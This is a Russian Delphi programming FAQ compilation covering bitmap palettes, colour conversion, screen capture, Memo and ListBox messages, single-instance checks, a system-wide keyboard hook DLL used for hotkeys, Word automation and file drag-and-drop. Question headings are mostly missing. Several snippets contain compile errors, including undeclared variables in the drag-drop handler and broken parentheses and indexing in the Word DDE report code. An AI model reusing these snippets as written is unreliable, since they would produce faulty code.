procedure TBmpForm.ScrambleBitmap;

var

 pal: PLogPalette;

 hpal: HPALETTE;

 i: Integer;

begin

 pal := nil;

 try

  GetMem(pal, sizeof(TLogPalette) + sizeof(TPaletteEntry) * 255);

  pal.palVersion := $300;

  pal.palNumEntries := 256;

  for i := 0 to 255 do begin

   pal.palPalEntry[i].peRed := Random(255);

   pal.palPalEntry[i].peGreen := Random(255);

   pal.palPalEntry[i].peBlue := Random(255);

  end;

  hpal := CreatePalette(pal^);

  if hpal <> 0 then Bitmap.Palette := hpal;

 finally

  FreeMem(pal);

 end;

end;

end.  

Function PaintDesktop(HDC) : boolean;

Например:

PaintDesktop(form1.Canvas.Handle);

Для этого необходимо установить в инспекторе объектов поле Style в lbOwnerDrawFixed, при фиксированной высоте строки, или в lbOwnerDrawVariable, при переменной, и установить собственный обработчик события для OnDrawItem. В этом обработчике и надо рисовать растровое изображение.

Пример:

Рисуются изображения размером 32×16 (размер стандартного глифа для Delphi). Очень полезно при поиске нужного изображения для кнопок!

Установить в инспекторе объектов для ListBox поле ItemHeight = 19, а поле Color = clBtnFace.

{ Загрузить список файлов в ListBox1 при нажатии на кнопку Load (например)}

procedure TForm1.bLoadClick(Sender: TObject);

VAR S : String;

begin

 ListBox1.Clear; {чистим список}

 S := '*.bmp'#0; {задаем шаблон}

 ListBox1.Perform(LB_DIR, DDL_ReadWrite, Longint(@S[1])); {заполняем список}

end;

............

{Отобразить изображения и имена файлов в ListBox}

procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer; Rect: TRect; State: DrawState);

VAR

 Bitmap : TBitmap;

 Offset : Integer;

 BMPRect: TRect;

begin

 WITH (Control AS TListBox).Canvas DO BEGIN

  FillRect(Rect);

  Bitmap := TBitmap.Create;

  Bitmap.LoadFromFile(ListBox1.Items[Index]);

  Offset := 0;

  IF Bitmap <> NIL THEN BEGIN

   BMPRect := Bounds(Rect.Left+2, Rect.Top+2,

    (Rect.Bottom-Rect.Top-2)*2, Rect.Bottom-Rect.Top-2);

   {StretchDraw(BMPRect, Bitmap); Можно просто нарисовать, но лучше сначала убрать фон}

   BrushCopy(BMPRect,Bitmap, Bounds(0, 0, Bitmap.Width, Bitmap.Height),

   Bitmap.Canvas.Pixels[0, Bitmap.Height-1]);

   Offset := (Rect.Bottom-Rect.Top+1)*2;

  END;

  TextOut(Rect.Left+Offset, Rect.Top, ListBox1.Items[Index]);

  Bitmap.Free;

 END;

end;

Данный пример работает медленно, но оптимизация, для ускорения, вызвала бы трудность в понимании общего принципа его работы.

Для этого надо воспользоваться функциями API. Получить контекст чужого окна, либо всего экрана:

function GetDC(Wnd: HWnd): HDC;

где Wnd — указатель на нужное окно, или 0 для получения контекста всего экрана.

И далее, пользуясь функциями API, нарисовать все что надо.

Пример:

PROCEDURE DrawOnScreen;

VAR ScreenDC: hDC;

BEGIN

 ScreenDC := GetDC(0); {получить контекст экрана}

 Ellipse(ScreenDC, 0, 0, 200, 200); {нарисовать}

 ReleaseDC(0,ScreenDC); {освободить контекст}

END;

Не забывайте после своих манипуляций посылать пострадавшим (или всем) окнам сообщение о необходимости перерисовки, для восстановления их первоначального вида.

{ Эта процедура устанавливает угол вывода текста для указанного Canvas, угол в градусах }

{ Шрифт должен быть TrueType ! }

procedure CanvasSetTextAngle(c: TCanvas; d: single);

var LogRec: TLOGFONT; { Информация о шрифте }

begin

 {Читаем текущюю инф. о шрифте }

 GetObject(c.Font.Handle,SizeOf(LogRec) ,Addr(LogRec) );

 { Изменяем угол }

 LogRec.lfEscapement := round(d*10);

 { Устанавливаем новые параметры }

 c.Font.Handle := CreateFontIndirect(LogRec);

end;

{ Максимальные значения }

Const

 HLSMAX = 240;

 RGBMAX = 255;

 UNDEFINED = (HLSMAX*2) div 3;

Var

 H, L, S : integer; { H-оттенок, L-яркость, S-насыщенность }

 R, G, B : integer; { цвета }

procedure RGBtoHLS;

Var

 cMax,cMin : integer;

 Rdelta,Gdelta,Bdelta : single;

Begin

 cMax := max( max(R,G), B);

 cMin := min( min(R,G), B);

 L := round( ( ((cMax+cMin)*HLSMAX) + RGBMAX )/(2*RGBMAX) );

 if (cMax = cMin) then begin

  S := 0; H := UNDEFINED;

 end else begin

  if (L <= (HLSMAX/2)) then

   S := round( ( ((cMax-cMin)*HLSMAX) + ((cMax+cMin)/2) ) / (cMax+cMin) )

  else

   S := round( ( ((cMax-cMin)*HLSMAX) + ((2*RGBMAX-cMax-cMin)/2) ) / (2*RGBMAX-cMax-cMin) );

  Rdelta := ( ((cMax-R)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin);

  Gdelta := ( ((cMax-G)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin);

  Bdelta := ( ((cMax-B)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin);

  if (R = cMax) then H := round(Bdelta - Gdelta)

  else if (G = cMax) then H := round( (HLSMAX/3) + Rdelta - Bdelta)

  else H := round( ((2*HLSMAX)/3) + Gdelta - Rdelta );

  if (H < 0) then H:=H + HLSMAX;

  if (H > HLSMAX) then H:= H - HLSMAX;

 end;

 if S<0 then S:=0; if S>HLSMAX then S:=HLSMAX;

 if L<0 then L:=0; if L>HLSMAX then L:=HLSMAX;

end;

procedure HLStoRGB;

Var

 Magic1,Magic2 : single;

 function HueToRGB(n1,n2,hue : single) : single;

 begin

  if (hue < 0) then hue := hue+HLSMAX;

  if (hue > HLSMAX) then hue:=hue -HLSMAX;

  if (hue < (HLSMAX/6)) then

   result:= ( n1 + (((n2-n1)*hue+(HLSMAX/12))/(HLSMAX/6)) )

  else

   if (hue < (HLSMAX/2)) then result:=n2 else

    if (hue < ((HLSMAX*2)/3)) then

     result:= ( n1 + (((n2-n1)*(((HLSMAX*2)/3)-hue)+(HLSMAX/12))/(HLSMAX/6)))

    else result:= ( n1 );

 end;

begin

 if (S = 0) then begin

  B:=round( (L*RGBMAX)/HLSMAX ); R:=B; G:=B;

 end else begin

  if (L <= (HLSMAX/2)) then Magic2 := (L*(HLSMAX + S) + (HLSMAX/2))/HLSMAX

  else Magic2 := L + S - ((L*S) + (HLSMAX/2))/HLSMAX;

  Magic1 := 2*L-Magic2;

  R := round( (HueToRGB(Magic1,Magic2,H+(HLSMAX/3))*RGBMAX + (HLSMAX/2))/HLSMAX );

  G := round( (HueToRGB(Magic1,Magic2,H)*RGBMAX + (HLSMAX/2)) / HLSMAX );

  B := round( (HueToRGB(Magic1,Magic2,H-(HLSMAX/3))*RGBMAX + (HLSMAX/2))/HLSMAX );

 end;

 if R<0 then R:=0; if R>RGBMAX then R:=RGBMAX;

 if G<0 then G:=0; if G>RGBMAX then G:=RGBMAX;

 if B<0 then B:=0; if B>RGBMAX then B:=RGBMAX;

end;

Эта функция возвращает число бит на точку у данного компьютера. Так, например, 8 — 256 цветов, 4 — 16 цветов ...

function GetDisplayColors : integer;

var tHDC : hdc;

begin

 tHDC:=GetDC(0);

 result:=GetDeviceCaps(tHDC, 12)* GetDeviceCaps(tHDC, 14);

 ReleaseDC(0, tHDC);

end;

unit ScrnCap;

interface

uses WinTypes, WinProcs, Forms, Classes, Graphics, Controls;

{ Копирует прямоугольную область экрана }

function CaptureScreenRect(ARect : TRect) : TBitmap;

{ Копирование всего экрана }

function CaptureScreen : TBitmap;

{ Копирование клиентской области формы или элемента }

function CaptureClientImage(Control : TControl) : TBitmap;

{ Копирование всей формы элемента }

function CaptureControlImage(Control : TControl) : TBitmap;

{====================================================}

implementation

function GetSystemPalette : HPalette;

var

 PaletteSize : integer;

 LogSize : integer;

 LogPalette : PLogPalette;

 DC : HDC;

 Focus : HWND;

begin

 result:=0;

 Focus:=GetFocus;

 DC:=GetDC(Focus);

 try

  PaletteSize:=GetDeviceCaps(DC, SIZEPALETTE);

  LogSize:=SizeOf(TLogPalette)+(PaletteSize-1)*SizeOf(TPaletteEntry);

  GetMem(LogPalette, LogSize);

  try

   with LogPalette^ do begin

    palVersion:=$0300;

    palNumEntries:=PaletteSize;

    GetSystemPaletteEntries(DC, 0, PaletteSize, palPalEntry);

   end;

   result:=CreatePalette(LogPalette^);

  finally

   FreeMem(LogPalette, LogSize);

  end;

 finally

  ReleaseDC(Focus, DC);

 end;

end;

function CaptureScreenRect(ARect : TRect) : TBitmap;

var

 ScreenDC : HDC;

begin

 Result:=TBitmap.Create;

 with result, ARect do begin

  Width:=Right-Left;

  Height:=Bottom-Top;

  ScreenDC:=GetDC(0);

  try

   BitBlt(Canvas.Handle, 0,0,Width,Height,ScreenDC, Left, Top, SRCCOPY );

  finally

   ReleaseDC(0, ScreenDC);

  end;

  Palette:=GetSystemPalette;

 end;

end;

function CaptureScreen : TBitmap;

begin

 with Screen do

  Result:=CaptureScreenRect(Rect(0,0,Width,Height));

end;

function CaptureClientImage(Control : TControl) : TBitmap;

begin

 with Control, Control.ClientOrigin do

  result:=CaptureScreenRect(Bounds(X,Y,ClientWidth,ClientHeight));

end;

function CaptureControlImage(Control : TControl) : TBitmap;

begin

 with Control do

  if Parent=Nil then

   result:=CaptureScreenRect(Bounds(Left,Top,Width,Height))

  else

   with Parent.ClientToScreen(Point(Left, Top)) do

    result:=CaptureScreenRect(Bounds(X,Y,Width,Height));

end;

end.

{************************ Draw Disabled Text **************

***** This function draws text in "disabled" style. *****

***** i.e. the text is grayed . *****

**********************************************************}

function DrawDisabledText (Canvas : tCanvas; Str: PChar; Count: Integer; var Rect: TRect; Format: Word): Integer;

begin

 SetBkMode(Canvas.Handle, TRANSPARENT);

 OffsetRect(Rect, 1, 1);

 Canvas.Font.color:= ClbtnHighlight;

 DrawText (Canvas.Handle, Str, Count, Rect,Format);

 Canvas.Font.Color:= ClbtnShadow;

 OffsetRect(Rect, -1, -1);

 DrawText (Canvas.Handle, Str, Count, Rect, Format);

end;

function SetFullscreenMode:Boolean;

var DeviceMode : TDevMode;

begin

 with DeviceMode do begin

  dmSize:=SizeOf(DeviceMode);

  dmBitsPerPel:=16;

  dmPelsWidth:=640;

  dmPelsHeight:=480;

  dmFields:=DM_BITSPERPEL or DM_PELSWIDTH or DM_PELSHEIGHT;

  result:=False;

  if ChangeDisplaySettings(DeviceMode,CDS_TEST or CDS_FULLSCREEN) <> DISP_CHANGE_SUCCESSFUL

  then Exit;

  Result:=ChangeDisplaySettings(DeviceMode,CDS_FULLSCREEN) = DISP_CHANGE_SUCCESSFUL;

 end;

end;

procedure RestoreDefaultMode;

var T : TDevMode absolute 0;

begin

 ChangeDisplaySettings(T,CDS_FULLSCREEN);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

 if setFullScreenMode then begin

  sleep(7000);

  RestoreDefaultMode;

 end;

end;

1) Предполагается, что поле BLOB (например, Pict)

2) в запросе Query.SQL пишется что-то вроде

'select Pict from sometable where somefield=somevalue'

3) запрос открывается

4) делается "присваивание":

Image1.Picture.Assing(TBlobField(Query.FieldByName('Pict'))

или, если известно, что эта картинка — Bitmap, то можно

Image1.Picture.Bitmap.Assing(TBlobField(Query.FieldByName('Pict'))

А можно воспользоваться компонентом TDBImage.

Каким образом извлечь иконку из EXE- и DLL-файлов (ExtractAssociatedIcon) и отобразить ее на компоненте Timage или небольшой области на форме?

--------------------------------------------------------------------------------

uses ShellApi;

procedure TForm1.Button1Click(Sender: TObject);

var

 IconIndex : word;

 h : hIcon;

begin

 IconIndex := 0;

 h := ExtractAssociatedIcon(hInstance, 'C:\WINDOWS\NOTEPAD.EXE', IconINdex);

 DrawIcon(Form1.Canvas.Handle, 10, 10, h);

end;

Так же как в случае с TMemo, здесь можно использовать сообщения. Например, сообщение может быть отослано в момент создания формы:

procedure TForm1.FormCreate(Sender: TObject);

begin

 ListBox1.Perform(LB_SETHORIZONTALEXTENT, 1000, Longint(0));

end;

Второй параметр в вызове — ширина прокрутки в точках.

Есть функция API Windows, что заставляет искать строку в ListBox с указанной позиции.

Например, поиск строки, что начинается на '1.' От текущей позиции курсора в ListBox. Т.о., нажимая на кнопку Button1, будут перебраны все строки начинающиеся на '1.'

procedure TForm1.Button1Click(Sender: TObject);

var S : string;

begin

 S:='1.';

 with ListBox1 do ItemIndex := Perform(LB_SELECTSTRING, ItemIndex, LongInt(S));

end;

Более подробную информацию о работе команды LB_SELECTSTRING можно узнать из Help-а Win32.

procedure TForm1.Memo1KeyUp(Sender: TObject; var Key: Word;  Shift: TShiftState);

begin

Memo1Click(Self);

end;

procedure TForm1.Memo1Click(Sender: TObject);

VAR

  LineNum : LongInt;

  CharNum : LongInt;

begin

  LineNum := Memo1.Perform(EM_LINEFROMCHAR, Memo1.SelStart, 0);

  CharNum := Memo1.Perform(EM_LINEINDEX, LineNum, 0);

  Label1.Caption := IntToStr(LineNum+1)+' : '+IntToStr((Memo1.SelStart-CharNum)+1);

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

  Memo1Click(Self);

end;

В компоненте TMemo предусмотрена функция отмены последней правки (Undo). Ее можно вызвать следующим образом:

Memo1.Perform(EM_UNDO,0,0);

Узнать о том, возможна ли отмена (т.е. есть ли что отменять) можно следующим образом:

UndoEnabled:=(Memo1.Perform(EM_CAUNDO,0,0)<>0);

Я добавляю програмно несколько строк в конец поля Memo, а их не видно. Как прокрутить Memo, чтобы было видно последние строки ?

Примерно так:

SendMessage(Memo1.Handle, EM_LINESCROLL, 0, Memo1.Lines.Count-1);

Для Delphi 1. Каждый экземпляр программы имеет ссылку на свою предыдущую копию — hPrevInst: hWnd. Ее можно проверить перед созданием приложения и при необходимости отреагировать соответствующим образом. Если запущена только одна копия, то эта ссылка равна нулю.

Пример:

procedure TForm1.FormCreate(Sender: TObject);

begin

  {Проверяем есть ли указатель на предыдущую копию приложения}

  IF hPrevInst <> 0 THEN BEGIN

    {Если есть, то выдаем сообщение и выходим}

    MessageDlg('Программа уже запущена!', mtError, [mbOk], 0);

    Halt;

  END;

  {Иначе - ничего не делаем (не мешаем созданию формы)}

end;

P.S. Для выхода необходимо использовать Halt, а не Close, как хотелось бы, так как форма еще не создана и закрывать нечего.

Есть и другой способ — по списку загруженных приложений

procedure TForm1.FormCreate(Sender: TObject);

VAR

Wnd : hWnd;

buff : ARRAY[0.. 127] OF Char;

Begin

Wnd := GetWindow(Handle, gw_HWndFirst);

WHILE Wnd <> 0 DO BEGIN

  IF (Wnd <> Application.Handle) AND (GetWindow(Wnd, gw_Owner) = 0)

  THEN BEGIN

   GetWindowText (Wnd, buff, sizeof (buff ));

   IF StrPas (buff) = Application.Title THEN

   BEGIN

    MessageDlg('Приложение уже загружено', mtWarning, [mbOk], 0);

    Halt;

   END;

  END;

  Wnd := GetWindow (Wnd, gw_hWndNext);

 END;

End;

Еще один интересный способ для Win32. Дело в том, что можно в памяти создавать временные файлы. При перезагрузке они теряются, а так существуют. Кстати, этот метод можно использовать и для обмена информацией между вашими приложениями.

Пример:

program Project1;

uses

  Windows, // Обязательно

  Forms,

  Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}

Const

MemFileSize = 1024;

MemFileName = 'one_inst_demo_memfile';

Var

MemHnd : HWND;

begin

  { Попытаемся создать файл в памяти }

  MemHnd := CreateFileMapping(HWND($FFFFFFFF),

                              nil,

                              PAGE_READWRITE,

                              0,

                              MemFileSize,

                              MemFileName);

  { Если файл не существовал запускаем приложение }

  if GetLastError<>ERROR_ALREADY_EXISTS then

  begin

   Application.Initialize;

   Application.CreateForm(TForm1, Form1);

   Application.Run;

  end;

  CloseHandle(MemHnd);

end.

Часто при работе у пользователя может быть открыто 5–20 окон и сообщение о том, что программа уже запущено приводит к тому, что он вынужден полчаса искать ранее запущенную копию. Выход из положения — найдя копию программы активировать ее, для чего в последнем примере перед HALT необходимо добавить строку :

SetForegroundWindow(Wnd);

Например так:

uses

  Windows, // !!!

  Forms,

  Unit0 in 'Unit0.pas' {Form1};

var

  Handle1 : LongInt;

  Handle2 : LongInt;

{$R *.RES}

begin

  Application.Initialize;

  Handle1 := FindWindow('TForm1',nil);

  if handle1 = 0 then

    begin

      Application.CreateForm(TForm1, Form1);

      Application.Run;

    end

  else

    begin

      Handle2 := GetWindow(Handle1,GW_OWNER);

      //Чтоб заметили :)

      ShowWindow(Handle2,SW_HIDE); ShowWindow(Handle2,SW_RESTORE);

      SetForegroundWindow(Handle1); // Активизируем

    end;

end.

Вывод сообщения: ShowMessage('сообщение');

Ввод текста от пользователя: S:=InputBox('Заголовок', 'Сообщение', S{строка по умолчанию});

unit Unit1;

interface

uses 

SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls;

type

  TForm1 = class(TForm)

    Button1: TButton;

    Button2: TButton;

    Button3: TButton;

    procedure Button1Click(Sender: TObject);

    procedure Button2Click(Sender: TObject);

    procedure Button3Click(Sender: TObject);

end;

var

  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);

begin

  ShowMessage('Пример простого сообщения.'+#10+

  'Данное сообщение выводится всегда в центре экрана.');

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

  ShowMessagePos('Пример сообщения с указанием его положения на экране.',

   Form1.Left+Button2.Left, Form1.Top+Button2.Top);

end;

procedure TForm1.Button3Click(Sender: TObject);

begin

  Button3.Caption := InputBox('Delphi для всех',  'Введите строку:', Button3.Caption);

end;

end.

procedure TForm1.MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

const SC_DragMove = $F012; { a magic number }

begin

 ReleaseCapture;

 perform(WM_SysCommand, SC_DragMove, 0);

end;

I. Эмуляция нажатия клавиши.

Внутри приложения это выполняется достаточно просто с помощью вызова функции Windows API SendMessage() (можно воспользоваться и методом Perform того объекта (или формы), кому посылается сообщение о нажатой клавише).

Код

Memo1.Perform(WM_CHAR, Ord('A'), 0);

или

SendMessage(Memo1.Handle, WM_CHAR, Ord('A'), 0);

приведет к печати символа "A" в объекте Memo1.

II. Перехват нажатий клавиши внутри приложения.

Задача решается очень просто. Можно у формы установить свойство KeyPreview в True и обрабатывать событие OnKeyPress. Второй способ — перехватывать событие OnMessage для объекта Application.

III. Перехват нажатия клавиши в Windows.

Существуют приложения, которым необходимо перехватывать все нажатия клавиш в Windows, даже если в данный момент активно другое приложение. Это может быть, например, программа, переключающая раскладку клавиатуры, резидентный словарь или программа, выполняющая иные действия по нажатию "горячей" комбинации клавиш. Перехват всех событий в Windows (в том числе и событий от клавиатуры) выполняется с помощью вызова функции SetWindowsHook(). Данная функция регистрирует в системе Windows ловушку (hook) для определенного типа событий/сообщений. Ловушка — это пользовательская процедура, которая будет обрабатывать указанное событие. Основное здесь то, что эта процедура должна всегда присутствовать в памяти Windows. Поэтому ловушку помещают в DLL и загружают эту DLL из программы. Пока хоть одна программа использует DLL, та не может быть выгружена из памяти. Приведем пример такой DLL и программы, ее использующей. В примере ловушка перехватывает нажатие клавиш на клавиатуре, проверяет их и, если это клавиши "+" или "-", посылает соответствующее сообщение в конкретное приложение (окно). Окно ищется по имени его класса ("TForm1") и заголовку (caption, "XXX").

{текст библиотеки}

library SendKey;

uses

WinTypes, WinProcs, Messages;

const

{пользовательские сообщения}

wm_NextShow_Event = wm_User + 133;

wm_PrevShow_Event = wm_User + 134;

{handle для ловушки}

HookHandle: hHook = 0;

var

SaveExitProc : Pointer;

{собственно ловушка}

function Key_Hook(Code: integer; wParam: word; lParam: Longint): Longint; export;

var

H: HWND;

begin

{если Code>=0, то ловушка может обработать событие}

if Code >= 0 then

begin

   {это те клавиши?}

   if ((wParam = VK_ADD)or(wParam = VK_SUBTRACT)) and

(lParam and $40000000 = 0)

   then begin

     {ищем окно по имени класса и по заголовку}

     H := FindWindow('TForm1', 'XXX');

     {посылаем сообщение}

     if wParam = VK_ADD then

       SendMessage(H, wm_NextShow_Event, 0, 0)

     else

       SendMessage(H, wm_PrevShow_Event, 0, 0);

   end;

  {если 0, то система должна дальше обработать это событие}

  {если 1 - нет}

  Result:=0;

end

else

  {если Code<0, то нужно вызвать следующую ловушку}

   Result := CallNextHookEx(HookHandle,Code, wParam, lParam);

end;

{при выгрузке DLL надо снять ловушку}

procedure LocalExitProc; far;

begin

if HookHandle<>0 then

begin

   UnhookWindowsHookEx(HookHandle);

   ExitProc := SaveExitProc;

end;

end;

{инициализация DLL при загрузке ее в память}

begin

{устанавливаем ловушку}

HookHandle := SetWindowsHookEx(wh_Keyboard, Key_Hook,

   hInstance, 0);

if HookHandle = 0 then

   MessageBox(0, 'Unable to set hook!', 'Error', mb_Ok)

else begin

  SaveExitProc := ExitProc;

  ExitProc := @LocalExitProc;

end;

end.

Размер такой DLL в скомпилированном виде будет около 3Кб, поскольку в ней не используются объекты из VCL.

Далее приведен код модуля в Delphi, который загружает DLL и обрабатывает сообщения от ловушки, просто отображая их в Label1.

unit Unit1;

interface

uses

SysUtils,WinTypes,WinProcs,Messages,Classes,Graphics,

Controls,Forms,Dialogs,StdCtrls;

{пользовательские сообщения}

const

wm_NextShow_Event = wm_User + 133;

wm_PrevShow_Event = wm_User + 134;

type

  TForm1 = class(TForm)

    Label1: TLabel;

    procedure FormCreate(Sender: TObject);

  private

{обработчики сообщений}

    procedure WM_NextMSG (Var M : TMessage); message wm_NextShow_Event;

    procedure WM_PrevMSG (Var M : TMessage); message wm_PrevShow_Event;

  end;

var

  Form1: TForm1;

  P : Pointer;

implementation

{$R *.DFM}

{загрузка DLL}

function Key_Hook : Longint; far; external 'SendKey';

procedure TForm1.WM_NextMSG (Var M : TMessage);

begin

  Label1.Caption:='Next message';

end;

procedure TForm1.WM_PrevMSG (Var M : TMessage);

begin

  Label1.Caption:='Previous message';

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

  {если не использовать вызов процедуры из DLL в программе,

   то компилятор удалит загрузку DLL из программы}

  P:=@Key_Hook;

end;

end.

Конечно, свойство Caption в этой форме должно быть установлено в "XXX".

Ставите у формы KeyPreview = true и создаете событие KeyPress следующего вида:

procedure TForm1.FormKeyPress(Sender: TObject; var Key: Char);

begin

 if (Key = #13) then begin

  Key:=#0;

  Perform(WM_NEXTDLGCTL,0,0);

  end;

end;

Вопрос:

Каким образом можно отследить вставку и удаление компонент в форму в design-time? Такая информация могла бы пригодится, если моя компонента имеет ссылки на другие компоненты (например, как в связке TDateSource,TTable и др.)

Ответ:

Для получения такой информации предназначен метод

procedure Notification (AComponent: TComponent; Operation: TOperation); virtual;

класса TComponent. Перекрыв его в своей компоненты Вы можете произвести необходимые действия, в зависимости от значения параметра Operation типа

TOperation = (opInsert, opRemove);

объявленного в модуле Classes. Параметр AComponent — компонента, соответственно вставлемая или удаляемая, в зависимости от Operation.

(Пример для Delphi 1.0 поскольку в Delphi 2-3 лучше использовать:

var MsWord : variant;

MsWord := CreateOleObject('Word.Basic');

Для Delphi 3, пример ниже)

Создавать отчет в программе Word удобно если отчет имеет сложную структуру (тогда его быстрее создать в Word, чем в Qreport от Delphi, кроме того, этот QReport имеет "глюки"), либо, если после создания отчета его нужно будет изменять. Итак, первым делом в Word создается шаблон будущего отчета, это самый обыкновенный не заполненный отчет. А в места куда будет записываться информация нужно поставить метки. Например (для наглядности метки показаны синим цветом, реально они конечно не видны):

Накладная № Num

Сдал_______________________          Принял________________________

             М.П.                                    М.П.

Далее в форму, откуда будут выводиться данные, вставляете компоненту DdeClientConv из палитры System. Назовем ее DDE1. Эта компонента позволяет передавать информацию между программами методом DDE. Свойства:

ConnectMode : ddeManual — связь устанавливаем вручную

DdeService : (winword) — с кем устанавливается связь

ServiceApplication : C:\MSOffice\Winword\WINWORD.EXE — полный путь доступа к программе. (Вот здесь можно наступить на грабли. Ведь Word может лежать в любой папке! Поэтому путь доступа к нему лучше взять из реестра, а еще лучше использовать OLE см.начало раздела)

Теперь пишем процедуру передачи данных:

{ Печать накладной }

procedure Form1.PrintN;

Var

    S          : string;

    i          : integer;

    Sum        : double;  {итоговая сумма, кстати,совет: не пользуйтесь типом real!}

    Tv, Ss     : PChar;

begin

S:=GetCurrentDir+'\Накладная.doc'; { имя открываемого документа }

DDE1.OpenLink; { устанавливаем связь }

Tv:=StrAlloc(20000); Ss:=StrAlloc(300); { выделяем память }

  { даем команду открыть документ и установить курсор в начало документа }

StrPCopy(Tv, '[FileOpen "'+S+'"][StartOfDocument]');

S:=NNakl.Text; { номер накладной }

  { записываем в позицию Num номер накладной }

StrCat(Tv, StrPCopy(SS, '[EditBookmark .Name = "Num", .Goto][Insert "'+S+'"]'+

'[EditBookmark .Name = "Table", .Goto]'); { и переходим к заполнению таблицы }

  { передаем данные в Word }

if not DDE1.ExecuteMacro(Tv, false) then

   begin { сообщаем об ошибке и выход }

    MessageDlg('Ошибка связи с Microsoft Word.', mtError, [mbOk], 0);

    StrDispose(Tv); StrDispose(Ss);

    exit;

   end;

  { Заполняем таблицу }

Sum:=0; Nn:=0;

for i:=0 to TCount do

begin

  inc(Nn);

  { предполагаем, что данные находятся в массиве T }

  StrPCopy(Tv, '[Insert "'+IntToStr(Nn)+'"][NextCell][Insert "'+T[i].Company+'"]'+

   '[NextCell][Insert "'+T.TName+'"][NextCell][Insert "'+T.Cod+'"][NextCell]'+

   '[Insert "'+IntToStr(T.Count)+'"][NextCell]'+

   '[Insert "'+FloatToStr(T.Cena)+'"][NextCell]'+

   '[Insert "'+FloatToStr(T.Count*T.Cena)*+'"][NextCell]'));

  inc(Nn);

  Sum:=Sum+(T.Count*T.Cena); { итоговая сумма }

  if not DDE1.ExecuteMacro(Tv, false)

   then begin

    MessageDlg('Ошибка связи с Microsoft Word.', mtError, [mbOk], 0);

    exit;

   end;

end;

{ Записываем итоговую сумму }

StrPCopy(Tv,

  '[NextCell][Insert "Итого"][NextCell][NextCell][NextCell]'+

  '[Insert "'+FloatToStr(Sum)+'"]'));

if not DDE1.ExecuteMacro(Tv, false)

  then MessageDlg('Ошибка связи с Microsoft Word.', mtError, [mbOk], 0)

  else MessageDlg('Акт удачно создан. Перейдите в Microsoft Word.',

        mtInformation, [mbOk], 0);

StrDispose(Tv); StrDispose(Ss);

end;

 Для Delphi 2 и выше

=== Cut Пример by Sergey Arkhipov 2:5054/88.10 ===

Пример проверен только на русском Word 7.0! Может, поможет...

unit InWord;

interface

uses

  ... ComCtrls; // Delphi3

  ... OLEAuto;  // Delphi2

[skip]

procedure TPrintForm.MPrintClick(Sender: TObject);

var W: Variant;

    S: String;

begin

  S:=IntToStr(Num);

  try // А вдруг где ошибка :)

    W:=CreateOleObject('Word.Basic');

    // Создаем документ по шаблону MyWordDot

    // с указанием пути если он не в папке шаблонов Word

    W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0);

    // Отключение фоновой печати (на LJ5L без этого был пустой лист)

    W.ToolsOptionsPrint(Background:=0);

   // Переходим к закладке Word'a 'Num'

    W.EditGoto('Num'); W.Insert(S);

   //Сохранение

    W.FileSaveAs('C:\MayPath\Reports\MyReport')

    W.FilePrint(NumCopies:='2'); // Печать 2-х копий

  finally

    W.ToolsOptionsPrint(Background:=1);

    W:=UnAssigned;

  end;

end;

{.....}

 === Cut Конец примера ===

Спасибо Сергею :) И еще, как определить установлен ли на компьютере Word, запустить его и загрузить в него текст из программы?

Пример:

var

MsWord: Variant;

...

try

// Если Word уже запущен

MsWord := GetActiveOleObject('Word.Application');

// Взять ссылку на запущенный OLE объект

except

  try

  // Word не запущен, запустить

  MsWord := CreateOleObject('Word.Application');

  // Создать ссылку на зарегистрированный OLE объект

  MsWord.Visible := True;

   except

    ShowMessage('Не могу запустить Microsoft Word');

    Exit;

   end;

  end;

end;

...

MSWord.Documents.Add; // Создать новый документ

MsWord.Selection.Font.Bold := True; // Установить жирный шрифт

MsWord.Selection.Font.Size := 12; // установить 12 кегль

MsWord.Selection.TypeText('Текст');

По командам OLE Automation сервера см. help по Microsoft Word Visual Basic.

Ну вот и все.

{ На эту форму можно бросить файл (например из проводника)

и он будет открыт }

unit Unit1;

interface

uses

  Windows, Messages, SysUtils, Classes, Graphics,

  Controls, Forms, Dialogs,StdCtrls,

  ShellAPI {обязательно!};

type

  TForm1 = class(TForm)

    Memo1: TMemo;

    FileNameLabel: TLabel;

    procedure FormCreate(Sender: TObject);

    procedure FormDestroy(Sender: TObject);

  protected

   {Это и есть самая главная процедура}

    procedure WMDropFiles(var Msg: TMessage); message wm_DropFiles;

end;

var

  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMDropFiles(var Msg: TMessage);

var

   Filename: array[0 .. 256] of Char;

   Count   : integer;

begin

  { Получаем количество файлов (просто пример) }

   nCount := DragQueryFile( msg.WParam, $FFFFFFFF,

     acFileName, cnMaxFileNameLen);

{ Получаем имя первого файла }

  DragQueryFile( THandle(Msg.WParam),

     0, { это номер файла }

     Filename,SizeOf(Filename) ) ;

  { Открываем его }

  with FileNameLabel do begin

   Caption := LowerCase(StrPas(FileName));

   Memo1.Lines.LoadfromFile(Caption);

  end;

{ Отдаем сообщение о завершении процесса }

  DragFinish(THandle(Msg.WParam));

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

{ Говорим Windows, что на нас можно бросать файлы }

DragAcceptFiles(Handle, True);

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

{ Закрываем за собой дверь золотым ключиком}

DragAcceptFiles(Handle, False);

end;

end.

Часто возникает проблема — в многооконном приложении необходимо обратить внимание пользователя на то, что какое-то из окон требует внимания (например, к нему пришло сообщение по DDE, в нем завершился какой-либо процесс, произошла ошибка...). Это легко сделать, используя команду API FlashWindow:

procedure TForm1.Timer1Timer(Sender: TObject);

 begin FlashWindow(Handle,true);

end;

В данном примере FlashWindow вызывается по таймеру ежесекундно, что приводит к миганию заголовка окна.

Сведения о программе, авторские права и т.д., лучше оформить в виде отдельной формы и показывать ее при запуске программы (как это сделано в Word).

